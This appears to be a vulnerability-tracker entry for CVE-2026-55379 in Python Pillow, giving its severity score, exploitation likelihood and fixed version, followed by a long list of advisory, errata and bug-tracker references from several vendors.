CVE-2026-55379 is a high vulnerability (CVSS 7.5) in Python Pillow, published July 6, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.52%, the 44th percentile. Fixed in pillow 12.3.0.
References
github.com/python-pillow/Pillow/security/advisories/GHSA-45hq-cxwh-f6vc
github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d
github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst
nvd.nist.gov/vuln/detail/CVE-2026-55379
github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2255.yaml
github.com/advisories/GHSA-45hq-cxwh-f6vc
Show 194 moreShow less
access.redhat.com/errata/RHSA-2026:39127
access.redhat.com/security/cve/CVE-2026-54059
access.redhat.com/security/cve/CVE-2026-54060
access.redhat.com/security/cve/CVE-2026-55379
access.redhat.com/security/cve/CVE-2026-55380
bugzilla.redhat.com/2497452
bugzilla.redhat.com/2497455
bugzilla.redhat.com/2497464
bugzilla.redhat.com/2497466
errata.almalinux.org/8/ALSA-2026-39127.html
github.com/CVEProject/cvelistV5/tree/main/cves/2026/55xxx/CVE-2026-55379.json
security-tracker.debian.org/tracker/CVE-2026-55379
github.com/python-pillow/Pillow
advisories.mageia.org/MGASA-2026-0463.html
bugs.mageia.org/show_bug.cgi?id=35909
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3137
nvd.nist.gov/vuln/detail/CVE-2026-54059
nvd.nist.gov/vuln/detail/CVE-2026-54060
nvd.nist.gov/vuln/detail/CVE-2026-55380
nvd.nist.gov/vuln/detail/CVE-2026-59197
nvd.nist.gov/vuln/detail/CVE-2026-59200
nvd.nist.gov/vuln/detail/CVE-2026-59204
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3138
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3139
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3140
openeuler.org/zh/security/security-bulletins/detail?id=openEuler-SA-2026-3141
nvd.nist.gov/vuln/detail/CVE-2026-59198
access.redhat.com/security/updates/classification
bugzilla.redhat.com/show_bug.cgi?id=2497452
bugzilla.redhat.com/show_bug.cgi?id=2497455
bugzilla.redhat.com/show_bug.cgi?id=2497464
bugzilla.redhat.com/show_bug.cgi?id=2497466
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_39127.json
cve.org/CVERecord?id=CVE-2026-54059
github.com/python-pillow/Pillow/security/advisories/GHSA-8v84-f9pq-wr9x
cve.org/CVERecord?id=CVE-2026-54060
github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2
cve.org/CVERecord?id=CVE-2026-55379
cve.org/CVERecord?id=CVE-2026-55380
github.com/python-pillow/Pillow/commit/f39b0ae6624eb2d7c5c5d651d9bb5fdbd96a8675
github.com/python-pillow/Pillow/security/advisories/GHSA-phj9-mv4w-65pm
access.redhat.com/errata/RHSA-2026:48759
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_48759.json
access.redhat.com/errata/RHSA-2026:48760
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_48760.json
access.redhat.com/errata/RHSA-2026:50221
issues.redhat.com/browse/SAT-42697
issues.redhat.com/browse/SAT-47597
issues.redhat.com/browse/SAT-47598
issues.redhat.com/browse/SAT-47599
issues.redhat.com/browse/SAT-47601
issues.redhat.com/browse/SAT-47602
issues.redhat.com/browse/SAT-47604
issues.redhat.com/browse/SAT-47605
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50221.json
access.redhat.com/security/cve/CVE-2026-2332
bugzilla.redhat.com/show_bug.cgi?id=2458187
cve.org/CVERecord?id=CVE-2026-2332
nvd.nist.gov/vuln/detail/CVE-2026-2332
github.com/jetty/jetty.project/security/advisories/GHSA-355h-qmc2-wpwf
gitlab.eclipse.org/security/cve-assignment/-/issues/89
access.redhat.com/security/cve/CVE-2026-12515
bugzilla.redhat.com/show_bug.cgi?id=2489812
cve.org/CVERecord?id=CVE-2026-12515
nvd.nist.gov/vuln/detail/CVE-2026-12515
github.com/Katello/katello/pull/11712
access.redhat.com/security/cve/CVE-2026-54297
bugzilla.redhat.com/show_bug.cgi?id=2492252
cve.org/CVERecord?id=CVE-2026-54297
nvd.nist.gov/vuln/detail/CVE-2026-54297
github.com/lostisland/faraday/security/advisories/GHSA-98m9-hrrm-r99r
access.redhat.com/security/cve/CVE-2026-57236
bugzilla.redhat.com/show_bug.cgi?id=2492952
cve.org/CVERecord?id=CVE-2026-57236
nvd.nist.gov/vuln/detail/CVE-2026-57236
github.com/sparklemotion/nokogiri/security/advisories/GHSA-5v8h-3h3q-446p
access.redhat.com/errata/RHSA-2026:50222
bugzilla.redhat.com/show_bug.cgi?id=2396054
bugzilla.redhat.com/show_bug.cgi?id=2482734
issues.redhat.com/browse/SAT-44867
issues.redhat.com/browse/SAT-48096
issues.redhat.com/browse/SAT-48147
issues.redhat.com/browse/SAT-48150
issues.redhat.com/browse/SAT-48303
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50222.json
access.redhat.com/security/cve/CVE-2025-9230
cve.org/CVERecord?id=CVE-2025-9230
nvd.nist.gov/vuln/detail/CVE-2025-9230
access.redhat.com/security/cve/CVE-2026-48526
cve.org/CVERecord?id=CVE-2026-48526
nvd.nist.gov/vuln/detail/CVE-2026-48526
github.com/jpadilla/pyjwt/security/advisories/GHSA-xgmm-8j9v-c9wx
access.redhat.com/errata/RHSA-2026:50223
bugzilla.redhat.com/show_bug.cgi?id=2460425
bugzilla.redhat.com/show_bug.cgi?id=2500043
issues.redhat.com/browse/SAT-44868
issues.redhat.com/browse/SAT-48146
issues.redhat.com/browse/SAT-48289
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50223.json
access.redhat.com/security/cve/CVE-2026-48864
cve.org/CVERecord?id=CVE-2026-48864
nvd.nist.gov/vuln/detail/CVE-2026-48864
access.redhat.com/security/cve/CVE-2026-59197
cve.org/CVERecord?id=CVE-2026-59197
github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1
github.com/python-pillow/Pillow/pull/9695
github.com/python-pillow/Pillow/releases/tag/12.3.0
github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr
issues.redhat.com/browse/SAT-44866
issues.redhat.com/browse/SAT-48160
issues.redhat.com/browse/SAT-48161
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50263.json
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5/html/release_notes/patch_releases
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.5
bugzilla.redhat.com/show_bug.cgi?id=2467822
bugzilla.redhat.com/show_bug.cgi?id=2484099
bugzilla.redhat.com/show_bug.cgi?id=2484207
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50319.json
cve.org/CVERecord?id=CVE-2026-12383
nvd.nist.gov/vuln/detail/CVE-2026-12383
cve.org/CVERecord?id=CVE-2026-27145
nvd.nist.gov/vuln/detail/CVE-2026-27145
go.dev/cl/783621
go.dev/issue/79694
groups.google.com/g/golang-announce/c/tKs3rmcBcKw
pkg.go.dev/vuln/GO-2026-5037
cve.org/CVERecord?id=CVE-2026-33811
nvd.nist.gov/vuln/detail/CVE-2026-33811
go.dev/cl/767860
go.dev/issue/78803
groups.google.com/g/golang-announce/c/qcCIEXso47M
pkg.go.dev/vuln/GO-2026-4981
cve.org/CVERecord?id=CVE-2026-34993
nvd.nist.gov/vuln/detail/CVE-2026-34993
cve.org/CVERecord?id=CVE-2026-39820
go.dev/cl/759940
go.dev/issue/78566
pkg.go.dev/vuln/GO-2026-4986
cve.org/CVERecord?id=CVE-2026-40898
cve.org/CVERecord?id=CVE-2026-42499
go.dev/cl/771520
go.dev/issue/78987
pkg.go.dev/vuln/GO-2026-4977
go.dev/cl/774481
go.dev/issue/79217
pkg.go.dev/vuln/GO-2026-5038
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6/whats_new-async_updates
docs.redhat.com/en/documentation/red_hat_ansible_automation_platform/2.6
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_50336.json
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_52551.json
errata.rockylinux.org/RLSA-2026:39127
suse.com/support/update/announcement/2026/suse-su-202622626-1
bugzilla.suse.com/1270404
bugzilla.suse.com/1270409
bugzilla.suse.com/1270410
bugzilla.suse.com/1270411
bugzilla.suse.com/1270412
suse.com/security/cve/CVE-2026-42311
suse.com/security/cve/CVE-2026-54059
suse.com/security/cve/CVE-2026-54060
suse.com/security/cve/CVE-2026-55379
suse.com/security/cve/CVE-2026-55380
suse.com/support/update/announcement/2026/suse-su-20262875-1
suse.com/support/update/announcement/2026/suse-su-20263268-1
bugzilla.suse.com/1271418
bugzilla.suse.com/1271419
bugzilla.suse.com/1271420
bugzilla.suse.com/1271421
bugzilla.suse.com/1271422
bugzilla.suse.com/1271424
bugzilla.suse.com/1271425
suse.com/security/cve/CVE-2026-54058
suse.com/security/cve/CVE-2026-59197
suse.com/security/cve/CVE-2026-59198
suse.com/security/cve/CVE-2026-59199
suse.com/security/cve/CVE-2026-59200
suse.com/security/cve/CVE-2026-59204
suse.com/security/cve/CVE-2026-59205
ubuntu.com/security/CVE-2026-55379
ubuntu.com/security/notices/USN-8999-1
ubuntu.com/security/CVE-2026-54058
ubuntu.com/security/CVE-2026-54059
ubuntu.com/security/CVE-2026-54060
ubuntu.com/security/CVE-2026-55380
ubuntu.com/security/CVE-2026-59197
ubuntu.com/security/CVE-2026-59199
ubuntu.com/security/CVE-2026-59200
ubuntu.com/security/CVE-2026-59203
ubuntu.com/security/CVE-2026-59204
ubuntu.com/security/CVE-2026-59205
suse.com/security/cve/CVE-2014-3589
suse.com/security/cve/CVE-2014-3598
suse.com/security/cve/CVE-2016-0740
suse.com/security/cve/CVE-2016-0775
Left out here: 20 package rows, 56 versions, 74 references and the rest of 2 source descriptions. The JSON record has them.